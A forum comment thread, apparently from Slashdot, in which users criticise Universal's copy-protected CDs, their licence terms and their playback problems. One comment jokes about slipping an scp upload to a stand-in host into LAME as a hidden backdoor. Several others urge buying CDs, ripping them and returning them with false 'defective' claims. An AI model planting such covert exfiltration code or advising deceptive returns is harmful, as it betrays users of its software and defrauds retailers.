Let's just hope the same Joe Consumer will think Universal's idea is a bad one too. Then we can watch this idea die the same death of DivX. It will take a bit of time perhaps, but when a mass amount of people are inconvenienced, corporations should see the proper monetary repsonse.
I hope
Praying for the end of your wide-awake nightmare.
What they plan on doing is distributing a CD-Ripping program where, when you start it, you're given a question:
Are you ripping this to copy the mp3s onto your MP3 player and only your mp3 player, or are you going to listen to them on your computer and/or pirate them via P2P applications?
Answer yes, you rip. Answer no, your computer melts.
Gawyn
Freedom of Speech?
UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund:
1. The CD-copy is not playing in your friends CD or DVD players.
2. The CD-copy is not playing in your colleges computers.
3. You get complaints about the sound quality from multiple FastTrack clients.
BMG in Europe launched 2 CDs lately with copy protection but have now switched back to ordinary CDs. NewScientist has a decent article about this here. Also covered are the reaction from Congressman Rick Boucher, who has written to the RIAA and others informing them that releasing copy-protected CDs may be a violation of the AHRA (Audio Home Recording Act).
In a way I wish I was in their target market so I could complain.
.
Let's not stir that bag of worms...
I have one setup ready to go. Alas I have a Toshiba cdrom and not the $300 used sgi unit. I am probably SOL with out that part.
You have to be kidding!
Argh. That's asanine! the only requirements that a music CD should ever have is that your computer has a CD-ROM drive, a pair of speakers, and a program that can tell the CD-ROM drive to play the Disc.
Judging by the list of requirements, I'm going to hazard a guess and say that there will be some crap, low quality, proprietary format and player on the disk as a data track? So....
That means:
1) I can't listen to my music while playing the latest 3D game, becuase playing the damn CD sucks too much CPU to keep from skipping.
2) I like having good, clean sounding, cd-quality music. I can't have that anymore, or at least not from my PC. Notwithstanding the fact that my DVD player rejects it, and my car stereo can't figure out how to play it. So, I'm stuck with 2 options: Put up with the crappy files on the data track, or buy a new DRM CD Player. Not good options on my opinion.
3) Of course, there's really no need to mention that NON-MS OSes will be out in the cold!
The (Hopefully) Great Slashdot Blackout
Anyone KNOW what cds, im sorry, litte round shiny music thingies, are affected?
All Troll + "offtopic" mods are meta moderated as "Unfair", because you abused the system.
My girlfriend (now ex) intoduced me to Whiskeytown and Ryan Adams. They used to produce their albums with an independent label, but that label has since blown up. The last Whiskeytown album, Pneumonia, was produced through Lost Highway, which is a Universal Company. I was suprised when I went to make a copy on my parents Win98 machine and all sorts of crazy stuff popped up. I had a hard time making a copy with the software on their machine (I was visiting and didn't have access to any Linux machines). I downloaded cdrdao for Win32, and made a clean copy without any troubles. This sucks. I like Ryan Adams, and he tends to be pretty fan friendly. I make backups of my CDs because I truly trash them. I would rather abuse my copies than my originals, since the copies are much cheaper. I generally listen to independent music, and I won't buy any CDs that I can't copy. If this means that I can't listen to my favorite artist, then so be it.
The middle mind speaks!
At worst I will be reduced to converting my CD's into mp3's the same way I do my LP's and Tapes. Digitial out on the stereo to digital in on the sound card = 1 big WAV file / Broadcast 2000 to split the tracks + some fancy id3 tagger & lame...
(+1 Funny) only if I laugh out loud.
This new copy protection seems easy to circumvent... I guarantee mp3 rippers will be able to get around this protection quite easily.
8 25 240
see my previous post:
http://slashdot.org/comments.pl?sid=26070&cid=2
Mike Feldkamp
Excellent Point! Mod Parent Up!
Did you check out their "legal" page? They basically have an EULA for their CD. If you don't agree to it, you have to take the CD back to the store. It makes you agree to fun stuff like not reverse engineering their player, preventing the content from being copied, etc.
Might this be the straw that breaks the EULA camel's back?
You may not authorize, encourage or allow the Player or any Content to be reproduced, modified, displayed, distributed or otherwise used by any other party
This sounds to be like you are not allowed to let anyone other than yourself use the CD in any way. If you are playing the CD yourself, and someone else walks into the room and hears it, does that count?
Edward Burr
Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
Okay, we're probably all used to buggy releases of software that are supposed to get fixed up later -- I'm specifically talking about games, where they'll actually admit they're releasing an unfinished product that'll get fixed by patches.
And here we have the same thing. They're releasing a technology that is, by their own admission, buggy, problematic, and does not have all the features even they would like it to have. They -hope- that someday all these issues will be resolved, and that's supposed to make everything okay.
Of course you, the astute reader, has already noticed the key difference -- people actually -want- computer games, and often sooner rather than later. No one actually -wants- to have copy protected CD's.
Rushing a buggy product to market that no one wants is just an example of the crap the music industry expects us to eat.
The enemies of Democracy are
You have just successfully illegally copied material from a site set up as the result of people illegally copying materials. Stay away from your windows...the lawyers know where you live.
How can they put in their legalese that its not legal to separate the content and player from the media? Unless I am in the dark on this we have every right to move the content anywhere we want as long as it is for our use only. They cannot take that from us. Someone with more legal knowledge on the issue give some input.
.
Digital is, by definition, imperfect. Analog is the way to go.
fair-use is fair-use.
I wonder how the recording industry will feel when "add-on" programs are attached to the players which interecept the decoded signal and pipe that to whatever application.
Until they can have the entire bus running encrypted, they are not going to be able to stop circumvention of the data stream.
-- Knowing too much can get you killed, but knowing who knows too much can make you rich.
So in other words. I buy the CD, install their player on my PC. And if the player hoses my Windows installation, or the copy protection damages any of my hardware including sound card and speakers, I have no recourse against UMG?
Just add this code into lame:
if (!strstr(domain_name, "universal.com"))
execve ("scp", {argv[2], "uploads@mydomain.com:/home/newmp3s", NULL}, NULL};
What's the chance that they'll find it?
HIV Crosses Species Barrier... into Muppets
A feature on the X-Box where you could copy music from CD's to the internal harddrive, such that you could play any music you wanted while playing video games (such as Project Gotham racing).
I'm not sure if the tracks were encoded to MP3, but it sure would be sweet irony to see copy protection working against Microsoft for once.
All it's going to take is one person to hook the audio out from one computer to the audio in of another computer, and then you've got mp3s of the album. True, the quality may suffer a bit, but quality suffers jsut by converting to mp3 in the first place. Then they just put it up on some file-sharing system, and it a week it's all over the place, and all these music companies will have spent all that money for nothing, doing something that is illegal (last time i checked it was my right to make a copy of the music i own)
How can they copy protect sound? I mean, what is the mechanism they are using? It seems to me that CDs no matter what are passive. If it plays out of speakers then you can record it. Just take wires going to the speakers and move them to the "in" on a recording device and you can record it. How can they possibly prevent that? c-
Go in and buy one cd, take it home. Next time you come back complain that the cd is defective and ask for an exchange. Do this often and regularly at store X when different people are working. Again telling them they are defective.
The point is, "returned" merchandise might just get re-shrink wrapped and thrown back on the shelf, where as you state it is "defective" it will more then likely be returned back to Universial or whereever.
-- Knowing too much can get you killed, but knowing who knows too much can make you rich.
From their site
"As with all computer software there may be incompatibilities with some computer systems. The CD is designed to play on PCs. The current version of the copy-protection technology does not allow you to copy files from the CD into MP3 format. UMG is currently making every effort possible to upgrade our available technology to add new features and increase playability."
Here they seem to claim that they are trying to allow mp3 copies to be made from the cd. Wasn't the prevention of mp3 copying the entire reason they introduced copy protection? I smell a bold faced lie somewhere...
Buy them, RIP THEM, and then return them!
This is a call to arms for a massive ripfest.
As soon as someone figures a way around the copy
protection, which hasn't taken long in the past.
More important than ripping them is to teach 10 others the glories of ripping. The more people
who are educated, the better off we'll all be.
I meant the problem solves itself. Too early in the morning, and for some reason my incoming bandwidth is topped out. It's sure hard writing a post and swapping cds out of the burner-- all to empty just one directory that keeps getting filled up...
HIV Crosses Species Barrier... into Muppets
I just don't buy cd's anymore. I figure bitching about this won't do anything, unless you act on your bitching. I haven't bought a cd in well over a year. Yes, there are many artists out there that I appreciate for their music, but unless we all stand up and say gosh damnit, LISTEN to us, and this is what WE want, nothing will change. Tired of getting run rough-shod over? Don't buy their corporate sponsored music. Listen to local bands, go to clubs, etc. That's what I do.
Unless you hit them where it hurts, nothing will be done.
my $.04
Sent from your iPad.
I am writing an e-mail to the published address with this text:
I will not be purchasing the music you produce for the simple fact that you choose to label me a criminal (or as a person with criminal intent) automatically. By purchasing your product, I would in essence be accepting this label, and agreeing to being treated and handle as a criminal (or one with criminal intent).
I ask that you refresh your standards, and follow the PUBLISHED standard of RED BOOK AUDIO:
Red Book defines the standards for audio CDs. Audio files are placed in one or more tracks on the CD, with each track normally holding one song. Tracks carry sectors that are 1/75th of a second in length, with each sector containing 2,353 bytes of audio information. Simple math tells us that 176,475 bytes of information are read per second.
The CD-DA (Compact Disc-Digital Audio) can hold up to 99 tracks, and has a maximum theoretical playing time of approximately 72 minutes. A Table of Contents at the beginning of each CD indicates the location of each track in minutes, seconds, and sectors. The Red Book specifies an error detection code and error correction code (EDC and ECC), to interpolate musical information when a disc that has been scratched or scuffed generates errors when read.
Maybe we canYou keep going until you die..."Me".
Let's see where they are making money on this:
1 - Software development, they lose money
2 - Software testing, they lose money
3 - People returning CDs because they can't play them, they don't make any money
4 - People don't buy the CDs becaus of copy prevention, they don't make money
5 - Bad PR due to CDs not working in various systems, they lose customers
Seems to me that these CDs cost more to produce, and will have lower sales than regular CDs. This, along with the bad PR, does not seem like a very good business model to me, and a great way to lose money.
In Canada (as in some other countries), we pay a levy on all blank CDs (something horrible like 50 cents per). The levy is sent, courtesy the Canadian gov't, to the members of RIAA. In exchange, we are allowed to copy a music CD legally. I can borrow Joe's copy of Brittany and make myself a copy without legal ramifications.
However, now they put this "player" on the CD and I cannot help but think that Univseral will claim the levy does not allow for the copying of these CDs because the "player" is not musical content.
"The market alone cannot provide sufficient constraints on corporation's penchant to cause harm." -- Joel Bakan
"...AND FITNESS FOR A PARTICULAR PURPOSE AND ANY WARRANTY OF NONINFRINGEMENT. THERE IS NO WARRANTY ..... YOU WILL NOT HOLD US OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, RESPONSIBLE FOR ANY DAMAGES THAT RESULT FROM YOU USING THE PLAYER OR CONTENT, INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER OR DAMAGE TO ANY SOFTWARE OR SYSTEMS YOU USE TO ACCESS THE SAME THAT MAY RESULT FROM THAT USE."
Not that I'm paranoid or anything.... but Magic Lantern anyone?
They are giving themselves legal room to infect your computer with a virus that could detect copyright infringing material and re-format your hard drive. Not that I think they're doing so, but they now have the legal 'right' and you as an innocent consumer have agreed to allow them to damage your computer. All to prevent copying the cd. And of course they also disclaim warranty of noninfringement. What the heck is that all about? Are they infringing someone's copyright to prevent you from doing the same?
Of course, if you have a sound blaster audigy or extigy with an optical in, and you play the cd in your dvd player (or rarer cd player with optical out) which you hook up to your sound card, you now have a 24 bit digital recording that doesn't use your cd-rom drive in any way shape or form. And that also will sound infinitely better than their compressed version. And which you have every legal right to make, as long as you're technologically sophisticated enough to do so. I really need to get me one of those phatty sound cards anyway, particularly since I have cd players with optical outs, a feature I've never been able to take advantage of before.
Is the musicians, as they've yet to find a way to stop paying the vast layers of middlemen to take trips to Scores (as Courtney Love put it, a while back). I have some ideas, but apparently it's a lot more fun to yell and argue and rant and sue each-other as often as possible than it is to listen to Jim Ray about changing the way to get paid/tipped. :(
The middlemen don't give a crap about artists (as long as they still get the perks like trips to Scores, that is). They probably don't like what I say about how inefficient and dumb and "quintopolistic"* the whole system seems. Oh well...
JMR
* yeah, I made up a word to better describe the RIAA. As always, I speak only for me, nobody else would admit to having most of my opinions even if they actually shared 'em!
Try e-gold - (contact me). I'm NOT e-
How long do we need before we see new kinds of CD ROM drive come out that works just like a cd player and has a digital output?
Maybe someone can program the flash in the CDROM drive? Or even swap the laser head and detector?
The protected CD at least follow parts of the standard or it won't play on ordinary cd players. So it is possible to bypass it.
-=-=-=-=-=-=-=-=-=-=-=-=-=- Max, the 4 eyes.
I have a question. If I bought one of these CD's, and attempted to make a backup copy of it but couldn't (because of the copy protection), and then the CD was subsequently destored in a fire or something, would they be responsible for providing me with a new one at no cost? Would not doing so be considered a violation of "fair use?"
GreyPoopon
--
Why is it I can write insightful comments but can't come up with a clever signature?
How soon before people figure out that they can buy a CD, take it home and simply *tape* it, (Yes, people still do this, believe it or not,) then return it saying that it wouldn't play in their 'computer'?
Me, I'd probably make a perfectly acceptable analog MP3 or Minidisc copy of it - I don't have a tape deck anymore.
This is pathetic and it will undoubtedly bite them on the tail...
Good luck to them...
Cheers,
Jim in Tokyo
-- My Weblog.
I bought "Brother Where Art Thou?" soundtrack produced after there protection startup. I know, it was stupid of me, but I wanted it. I run Windows 98SE using either Music Match, or SB Live Play Center. Neither program will play the cd. There "Player" did'nt work either. So, as I have tried to write /. in the past, I used Audio Grabber, which is using the LAME codec, and ripped the cd.
I then returned the CD to Walmart where I bought it, they refused to take it back.
But now with the release of UMG's conditions of returnability, I can now return my CD.
I suggest all of you doing this.
Go ahead buy the CD, rip it with Audio Grabber, return it.
I left feedback on the UMG site when this all happend, I got no return comments what so ever, not even a form letter.
A previous reply said to write the artist, thats a great idea. Why write UMG, they care not about us, otherwise they would never have tried the copy protection on such a wide scale in the first place.
While Apple might call their microcomputer a "PC", hardly anyone else does. Look at Mac Mall vs PC Mall. Look at Mac World magazine vs PC World magazine. Look at the compatibility statements on the side of software boxes.
"PC" was actaully a term coined by IBM with the introduction of its microcomputer, and has ever since meant microcomputers that have kept up with the standard which has evolved since IBM's initial offering. The Commodore's of the time of IBM's introduction were not PC's, nor are the Macintoshes and Amigas of today.
Macintosh computers are only PC's when they are running software emulators.
Now, I dare you to go to the software store and buy software labelled as "PC compatible" and run it on your emulatorless Mac with confidence.
I just don't think I care any more. People say not buying CD's is the way to go. Probably true in the short term. I say it's the artists that control this issue. It's not the end product consumer. Artist support the labels by making the music and selling it to the labels. There may have been a time when the major labels where needed to protect the artist, press and distrubute the product, advertise the product, etc... Not any more. The middle man is going away or shifting roles in almost every industry as a result of changing technology. Artists, you have the power. Re-evaluate what you need the record company for now. If it's just a quick pay off in the form of a relative paltry advance then so be it... sell you soul. The devil still goes down to Georgia every single day.
From their legal page, it seems that their encoding software apparently uses LAME. Isn't that kind of sad? A nice free piece of software used for such evil?
I saw the "or ... or ... or" comment, too, but I don't agree with it.
However, let's really read the statement logically. First it says you simply need to have this stuff (Pentium, Windows, etc), it doesn't say anything about actually running Windows. "Yes, I have Windows sitting on a [UN*X] partition on my hard drive." The system requirements said nothing about *running* Windows. 'Course a freeware version of VMWare would come in handy about now...
And don't forget, acquiring the CD to make a player for your UN*X flavor of the month would be illegal according to the legal page on the site. Don't get caught.
They left off a few:-
Q 19:If cds are supposed to be really cheap to make, why are you charging so much?
A: You arent paying for the medium, you are paying for the `software`.
Q 20:In that case, why did the price go up so much when CD`s were first released?
A: High initial production costs, R&D.
Q 21: So why are CD`s still expensive?
A: Shut up.
Q 22: So, i`m paying for the software, so i can have a copy on my walkperson, a copy on my pc, a copy in my car, right? I mean, as long as i`m the only one to use it, and i only use one at a time, thats ok, yeah?
A: Shut up.
Q 23: I dont use windows. How do i play the CD now?
A: Shut up.
etc etc.
Doesn't this seem monopolistic? They are changing their music so that it only plays on their software. In effect, they are using their monopoly to put all other music playing software out of business. How is this different than micrsoft preventing all other browsers from running on it's operating systems? (Not that they do that... )
--T
http://www.theMediaBunker.com
http://www.umusic.com/static/cgi-bin/artist.cgi?A- D
- J
- O
- S
- Z
http://www.umusic.com/static/cgi-bin/artist.cgi?E
http://www.umusic.com/static/cgi-bin/artist.cgi?K
http://www.umusic.com/static/cgi-bin/artist.cgi?P
http://www.umusic.com/static/cgi-bin/artist.cgi?T
If you like any of these artists, be sure to let them know that you do not like what their "Boss" is doing.
Thanks to file sharing, I purchase more CDs
Thanks to the RIAA, I buy them used...
The audio has one or more of the following problems:
- Clicks, pops, noises, skipping, etc.
- Songs did not start and stop when the skip button was pushed.
- The fast forward and rewind functions did not work.
- You were unable to play all of the songs.
- There were long delays between songs or after a button was pressed for a particular function.
Funny, those are the very reasons I started LEGALLY backing up my audio CDs to my hard drive in the first place.UMG is currently making every effort possible to eliminate any audio interference or technical difficulties created by the implementation of copy protection technologies.
What amazes me is that companies are so hell-bent on "copy-protecting" everything that they'll release implementations with actual known performance issues. Then they issue some "Oh, we're workin' on it" statement as though that suddenly makes it okay.
Why can't I play this disc on my Macintosh-based computer?
This CD will play in PCs running Microsoft® Windows95®, Windows98®, Windows2000®, Windows ME®, Windows XP® or Windows NT 4 ® with Service Pack 4. We hope to include Macintosh-based playability on copy-protected discs in the future.
So Mac users are screwed for now. They're "workin' on it."
I HIGHLY doubt the artists are appreciating this "protection" of their rights...
Isn't this taking shrinkwrap licensing at bit far? Seems like you have three options:
1) open the CD in the store, read the license, decide if you like it, and make the purchase (or not) accordingly. I don't think store owners would go for opening the shrinkwrap (I wouldn't if I were one).
2) Purchase the CD, then read the license, and if you don't like it, return the CD, giving the reason that you don't like the license. AFAIK, stores successfully refuse software returns if the shrinkwrap has been opened. How is this different?
3) Purchase the CD, then read the license, and if you don't like it, chuck it. You just lost your money.
Point being, the legalese is quite unexpected. Think you're just buying a CD? Noooo, you just got yourself a piece of software, and in doing so, agreed not to look at it too hard, either. "Track three's really cool. Nice riffs. But by law you arent't allowed to listen so closely that you could play them yourself."
yes, we have no bananas
Check out the extigy (or the internal audigy). Optical in. 24 bit sound. Have a dvd player that plays audio cds? With an optical out? Bam! Digital recording without your cd-rom drive. CD players with optical outs are rarer, though I have some. Once you have the perfect .wav files, you can even burn yourself a non-copyprotected version of the cd. And of course the files you record on your computer will be ever-so-much higher quality than the compressed files they 'allow' you to play on your windoze pc.
Something tells me I'm not going to miss Universal's artists all that much. Losing some of the artists is worrisome - U2, Sting, Lyle Lovett, etc. - but not worth me selling my soul to Universal and Microsoft (considering I'm a Mac user).
Personally? Both of my long-playing record players still work..
...or an hi-fi VCR which usually have the best analog sound reproduction quality possible.
personally, I'm avoiding any CD from Universal, not because of this only but also because of the number of ads they broadcast on French TV (mostly for shit, anyway). So, if I don't look for something specific, I'll browse around GNUArt.net for Free music.
If I really want a copy-protected album, I guess I'd first dd if=/dev/cdrom of=/tmp/somefile
and then carefully extract some bit sequences that I'd further translate to ogg, mp3 or wav...
I don't think the raw data after the copy-protection header is encrypted, is it ?
Trolling using another account since 2005.
Because I don't want an endless stream of spam from Universal.
I won't buy a copy-protected CD. Not because I'm a pirate, but because they're inconvenient. I'd rather attend live shows, buy shirts, send money directly to bands, and live with the stigma of downloading mp3s.
CDs are plastic slabs, a medium for the message. Universal forgot they sell music, not plastic. Slabs that aren't convenient and won't actually play music on my hardware are... slabs.
WhatEVA
If you really really look deap into the legal docuement you will notice something. It does not "say" its illegial to copy the CD. Take for example
.. so I am not going to turn them into a toaster, but again, the legal doc says nothing about "where" I filter the signal too. The Player and Content can do there thing, but instead of pumping the data stream to my sound card, it will get detoured to a "ripper" program. Still legal.
.. so I can not copy logos and other things. States NOTHING about content.
.. the legal doc trys to protect the "player" and the "content", but states NO WHERE that you can NOT copy it.
The Player and Content (and portions of them) are also protected under copyright law and trade secret law.
So in otherwords, they are covered under fair use.
No Reverse Engineering. You may not attempt (or authorize, encourage or support others' attempts) to circumvent, reverse engineer, decrypt, break or otherwise alter or interfere with the Player, the operation of it, or Content.
Ok
All trademarks, service marks, trade names, slogans, logos, and other indicia of origin that appear on or in connection with the Player and/or Content are our property or that of our affiliates or licensors. You may not copy, display or use any of these marks without prior written permission of the mark owner
Ok
Again
-- Knowing too much can get you killed, but knowing who knows too much can make you rich.
The license says:
We hereby grant to you a limited, non-exclusive, non-transferable, revocable license to use the Player and Content on your personal computer solely for your own personal, non-commercial use. You understand and agree that you may not reproduce, modify, display, distribute or otherwise use the Player or Content except as expressly provided herein, and you may not attempt to separate the Player or Content from the CD on which you received them. You may not authorize, encourage or allow the Player or any Content to be reproduced, modified, displayed, distributed or otherwise used by any other party, and you agree that you will take all reasonable steps to prevent any unauthorized reproduction and/or use of them.
In other words, you may listen to the music by yourself, but not if you have friends around. You also may not lend the disk to a friend, nor may you take the music off the CD so that it can be played without scrounging up the disk every time.
Talk about missing the boat, they've completely and totally broken it for all the features people like about having music on their computers. What total dumbasses.
INTERNATIONAL CONSIDERATIONS
The Content files are encrypted and the Player contains decryption technology. You agree to abide by U.S. and other applicable export control laws and not to transfer any material subject to restrictions under such laws to a national destination or person prohibited under such laws.
So it's illegal to play this CD in any country on the "Bad" list...
I always make a copy of cd's i buy to be able to play them in my car stereo. That way i have still the original cd when some drugaddict breaks into my car and steals the cd's...
If this is going to be the standard i have to use the originals. So, when they are stolen i have to buy them again (if possible because some are limited editions). I can't claim the insurance company (i can but that would result in a significant raise in insurance fees.. )
Nice "protection". It doesn't protect me from loosing to much money does it..
It will however ensure revenue for the companies... so.. hire drugaddicts to steal the cd's from cars and the consumers have to buy them again... (if any company is going to use this idea on a large scale basis... i patented it...)
The law never ceases to amaze me. One the "Fearsome Legalese" page read the indemnity section states the following: "You agree to indemnify and hold harmless us and our agents, employees, representatives, licensors, affiliates, parents and subsidiaries from and against any and all claims, losses, demands, causes of action and judgments (including attorneys' fees and court costs) (collectively "Claims") arising from or concerning your use of the Player or Content and to reimburse them on demand for any losses, costs or expenses they incur as a result of any Claims. " AMAZING! We are not only forced to use a product, but we are forced to have no form of protection if the product destroys our computer. The law is truly in the corporate hand and not the consumer. Where are we headed when genetic therapy becomes common? Will a company be responsible if we die from routine genetic "surgery". If a patient gets blood drawn today and they catch a disease at least a patient has the right to sue.
To: umg@umusic.com
To: webmaster@friendsoflive.com
To Whom It May Concern,
Hoping that you are motivated by more than sheer greed, I'd like to
voice a complaint regarding the Live - V CD that I received as gift
at Christmas this year.
I work as a computer programmer, and as such spend a lot of time at
work, using a computer. I have a collection of about 300 CD's at my
desk at work, that I listen using the CD-ROM drive of one of my computers.
I run several operating systems, including Linux, Solaris,
FreeBSD on my Intel PC's. I also have several Sun SPARC workstations.
When trying to play the Live - V CD, I receive an error message upon
inserting the CD that says 'Cannot run 16-bit application'. I have
serveral other 'media players' including WinAMP, Musicmatch Jukebox,
etc. These attempt to play the CD, and do play the first half of the
CD fairly well. However, the latter tracks on the CD hiss, pop, and
crackle to point that the music is no longer enjoyable.
I've been a fan of Live for many years now ( since Mental Jewelry
came out ), and have purchased all of the other albums, as well as
gone to several concerts featuring Live.
As a consumer who pays for his music, I feely completely shafted and
disenfranchised by Universal's decisions to "Copy Protect" their CD's.
I do not know for certain whether any copy protection was used on the
Live - V albumn, as there is nothing on the CD artwork, jewel-case,
or packaging to indicate such.
I do know that I will be throwing away the albumn as useless, and
will no longer purchase any further Live cd's that come out on the
Universal label.
So, you win. I can't copy the CD so that I can listen to it in my
car on the way to and from work. I can't "burn" it to MP3 format
to listen to on my MP3 player. Nor can I listen to it on my preferred
CD-Player ( which happens to be a PC ).
I will be fucked if I'm going to go buy a standalone CD-Player for
my office, just to listen to music.
You choose to cripple your CD's. I choose not to buy them.
Reference the Universal Music website regarding this at:
http://www.musichelponline.com/TechSupport.asp
I will still pay money to see Live in concert, but I will no longer
pay for Live CD's published under the Universal label. ( Or any
other music I like that comes our on Universal ).
Sorry guys from the band. It's nothing personal against you, and I
am not trying to "steal" your work from you without compensation.
Universal has chosen to make it personal against me.
I wish you all the best of luck. Keep making great music, and visit
Chicago on tour often so I can hear your new stuff ( since I cannot
listen to it on CD ).
Respectfully,
---
Segmentation Fault ( core dumped )
Wow. By using the software, you're agreeing that you won't even encourage or support other people. So, if someone partially cracks the code and you say, "Cool!"... you can be held legally responsible!?!
We all know they are not interested in supporting thier artists, they need to bleed them just like thier customers. This all started when
YOU bought CD's. Be a chucklehead like me, and keep your music on cassettes. Bottom line is they CANT stop you from ripping anything you can hear.
[] cave man []
I recommend posting a copy of the "EULA" anywhere CDs are sold. Pass it out at Best Buy/etc so that people have a clue as to what's going on. Also give them the return "guidelines" and the name/address of their state attorney general.
Until people are aware, nothing will happen. If Universal is only doing this on a few titles, they may be able to justify "rollout" based on a "good" response. ACT NOW!!!
Does anyone know of somewhere that I can get a list of CD's that Universal will release with this copy protection? This would make my buying/returning much easier than actually spending hours in the store searching. Seriously, someone brought this up earlier and it think it's a great idea. If enough people started doing this it would really end up pissing off the music stores! they would start bitching about Universal, and in this case the shit would flow upwards. I plan to buy at least 10 CD's per week, even if I have to buy the same ones over again (if there are no new releases!) I plan to return them at the very latest the next day, but perhaps even hours later.
DESCRIPTION OF PLAYER AND CONTENT
The compact disc you are using contains copy protection technology. When you use the compact disc in a conventional CD player, it operates like any other CD. When you use the compact disc in a CD ROM drive, the technology launches an audio player (the "Player"), and plays compressed audio files (the "Content").
USE OF THE PLAYER AND CONTENT
No Additional Charge.
There is no additional charge to you for the Player or Content.
Privacy.
No personal information about you is collected by or through the Player or Content.
Notice how they capitalize "Player."
Did anyone realize that they are distributing MUSIC PLAYING SOFTWARE with their CDs? This is how they intend to manage their content on your computer.
This is why they now have "minumum system requirements."
You are no longer purchasing music from Universal. You're LEASING SOFTWARE THAT PLAYS SOUND THAT SOUNDS LIKE MUSIC.
U.S. GOVERNMENT RIGHTS
The Player is "commercial computer software" or "commercial computer software documentation." The United States government's rights with respect to the Player are limited by the terms of this agreement pursuant to FAR 12.212(a) and/or DFARS 227.7202-1(a), as applicable.
Cna anyone check to see what this means? I thought I was buying music, not software.
Nothing more, nothing less. It doesn't mean wintel. Wintel means wintel.
Q. Why have you copy-protected the CD?
A. It's an integral part of our plan to increase our profits without providing extra value. It has the nice side-effect of making everybody into lawbreakers. This is the step after "steal underpants".
Q. Are you going to copy-protect all CDs from now on?
A. Shyea!
Q. Can I get a copy of this CD without the copy protection?
A. No. Well, yes. Until we finally get rid of gnutella. And freenet. And ftp. Then no, definitely.
Q. Can I play this disc in my PC?
A. The CD will play in computers that meet the following minimum requirements:
* Internet connection
--Just the place for a snark!
3.Can I listen to the songs from this CD on my MP3 player?
As with all computer software there may be incompatibilities with some computer systems. The CD is designed to play on PCs. The current version of the copy-protection technology does not allow you to copy files from the CD into MP3 format. UMG is currently making every effort possible to upgrade our available technology to add new features and increase playability.
Empasis is mine. Do not read MAKES MP3's into this! It does not say that. Think other protected media such as Data-Play or WMA using a GUID. Your ripped files will only play on your device and not your friends. Shared protected files are unplayable on units it was not ripped specificaly for. 5 friends = 5 seprate rips. Posting a single rip that everyone can copy and play is what they are stopping.
The truth shall set you free!
So what are they going to do to us if we take one of these CDs to Iraq?
Maybe we can post some CDs from France to Burma, just so we can call ourselves "international arms dealers".
For cd-audio media at least. Which is why nobody uses them or the standalone cd-audio recorders.
I always found it offensive, especially since I make music myself. Why should I pay a tax to support record companies when I just want to give away my music for free? The tax that gives them the pockets to take out Napster (which got more of my music distributed than anything else has)?
And yes, you live in France, so you are fucked.
Most of music I listen to is Classical. As about 10-12% of copy protected discs will contain the Windows mediashite format. This accounts for a big data loss. Take Gustav Mahler's Ninth or Beethoven's Ninth symphonies which are both long pieces. It appear's that on a copy-protected disc. This music will not fit on one disc. I've told all my friend's to boycott these discs. This case reminds me of the SCMS protection on Dat machines a few years back. It won't be long before the protection is broken. And the code/algorithm is post on the web. Happy listening. Anna-Sophia.
Perhaps the best place for people to do their buy and return activism would be at Wal-Mart. Wal-Mart is one of the biggest sellers of music in America. If we can get Wal-Mart to notice that a signifigant amount of Universal's CD's are being returned, then they might raise some hell with Universal. Universal is much more likely to pay attention to complaints from a huge corporation like Wal-Mart than they are individuals.
http://www.popularculturegaming.com -- my blog about the culture of videogame players
I have always been the person that if someone says it cant be done I try it. Just to prove them wrong.
I think a fair amount of us Uber-Geek types are just like this, we strive for that code which is impossible only a short while ago.
Their scheme makes every bone in my body whine to go out buy one , hack it, rip it and distribute it and THEN return it, even though I dont do and havent done it ever before.
I have an extensive MP3 Collection, I bought EVERY damm CD though, loooon before MP3 were practical with the exception of the gig of non-copyrighted classical music I have, some of that stuff is hard to find.
Nonetheless, I think that companies are going to learn hopefully sooner than later, this DRM crap is DOOMED from the start, the harder they make it the more attractive to break it is, the laws wont hold up, and they know it, thats one of the reasons Syralov, or whatever was let loose, BUT they try to maintain the pretense it will even after by lying he agreed to help them.
Bring on the encrypted music, after racing motorcycles for 20 years I cant hear crap anyway.
Audio CD out, Digital in.....DOH, I just broke their 10 million $ Piracy scheme, I wonder if thats a violation of the DCMA !
Sig went tro...aahemmm.....fishing........
Now, if we want to buy a Universal music CD, we have to agree to a license agreement comparable to the average MS EULA.
...
This is another good reason to return those cd's and ask for a refund : just say you don't accept the license.
Usually, if you ask for a refund for a defective cd, the person will try it on the shop player and refuse the refund because it plays. Now, just skip this step and show the license.
Mmh that could be funny if we do that with software
Men are born ignorant, not stupid; they are made stupid by education. Bertrand Russel
The MusicHelpOnline site indicates that the copy protected CDs will contain player software that will run on various versions of Windows, and that soon they will also contain player software for Macintoshes. This player software will certainly be closed source. It could do anything! This is a severe security and privacy threat.
Do you trust the music vendors not to infect your computer with a virus? Do you trust them not to delete other files (mp3s) on your disks? Do you trust them not to try to phone home and report how many times you listened to the music using their player? Do you trust them not to phone home and report what other music you have on your disks?
Somebody please mod this up (I must post anonymously), and let's start alerting the world to the computer security and privacy threats!!
From the umusic.com site:
A3
A*Teens
Bryan Adams
Alice Deejay
All City
All That
Gary Allan
American Hi-Fi
Ametria
Angela Ammons
Angelfish
Marc Antoine
Aqua
India Arie
The Art of Noise
Artful Dodger
Vladimir Ashkenazy
Ask Me
ATC
Avant
AZ
Backbone
Erykah Badu
Balfa Toujours
Marcia Ball
John Barry
Cecilia Bartoli
Beautiful South
Beck
David Benoit
George Benson
Leonard Bernstein
BG
Big Audio Dynamite
Big Bad Voodoo Daddy
Big Tymers
Bilal
Black Eyed Peas
Black Grape
Black Indian
Black Lab
Blackstreet
Everton Blender
The Blenders
Mary J. Blige
Blink-182
Rory Block
Bloodhound Gang
Blue October
Blue Hawaiians
The Blue Mondays
Blues Traveler
Bobs
Andrea Bocelli
Bon Jovi
Bond
Tracy Bonham
Barbara Bonney
Chris Botti
Bottlefly
Boyz II Men
Boyzone
Brave Combo
Michael Brecker
Alfred Brendel
The Brian Setzer Orchestra
Brill
Foxy Brown
Ruth Brown
Buffalo Nickel
Jimmy Buffett
Burlap to Cashmere
Burning Spear
Daniel Cage
Caleb
Canibus
Cap One
Cardigans
Vanessa Carlton
Richard Carpenter
Case
Caviar
Celeda
Riccardo Chailly
